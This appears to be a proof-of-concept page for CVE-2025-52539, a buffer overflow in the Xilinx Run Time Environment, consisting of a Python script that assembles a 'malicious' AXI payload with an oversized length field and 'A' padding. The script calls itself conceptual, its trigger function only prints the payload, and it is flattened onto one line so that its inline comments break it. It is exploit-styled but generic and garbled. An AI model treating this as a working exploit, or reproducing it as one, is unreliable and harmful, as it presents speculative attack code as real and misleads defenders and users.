CVE-2025-52539 Xilinx Run Time Environment缓冲区溢出漏洞

# CVE-2025-52539 PoC - Xilinx Run Time Environment Buffer Overflow # This PoC demonstrates potential buffer overflow in AXI interface handling # Note: This is a conceptual PoC for educational purposes only import struct import sys def create_malicious_axim_payload(): """ Create a malicious AXI transaction payload that could trigger buffer overflow in Xilinx Run Time Environment """ # AXI transaction header header = struct.pack('<I', 0x00000001) # AXI transaction type # Potential overflow: oversized data length field overflow_length = 0xFFFFFFFF # Malicious oversized length length_field = struct.pack('<I', overflow_length) # Craft payload with oversized data payload_size = 1024 # Arbitrary large size padding = b'A' * payload_size # AXI address that might trigger vulnerable code path axi_address = struct.pack('<Q', 0x40000000) # Example BRAM address # Final payload assembly exploit_payload = header + length_field + axi_address + padding return exploit_payload def trigger_vulnerability(payload): """ Simulate sending malicious payload to Xilinx Runtime In real scenario, this would interact with the vulnerable driver/API """ print(f"[*] Crafted malicious payload: {len(payload)} bytes") print(f"[*] Payload hex: {payload.hex()[:64]}...") # In real attack, this would call vulnerable Xilinx API: # Xil_Runtime_Setup(payload, len(payload)) return True if __name__ == "__main__": print("[*] CVE-2025-52539 PoC - Xilinx RTE Buffer Overflow") print("[*] Target: Xilinx Run Time Environment") print("[*] Vector: Local AXI interface manipulation") payload = create_malicious_axim_payload() trigger_vulnerability(payload) print("[+] Payload ready for testing")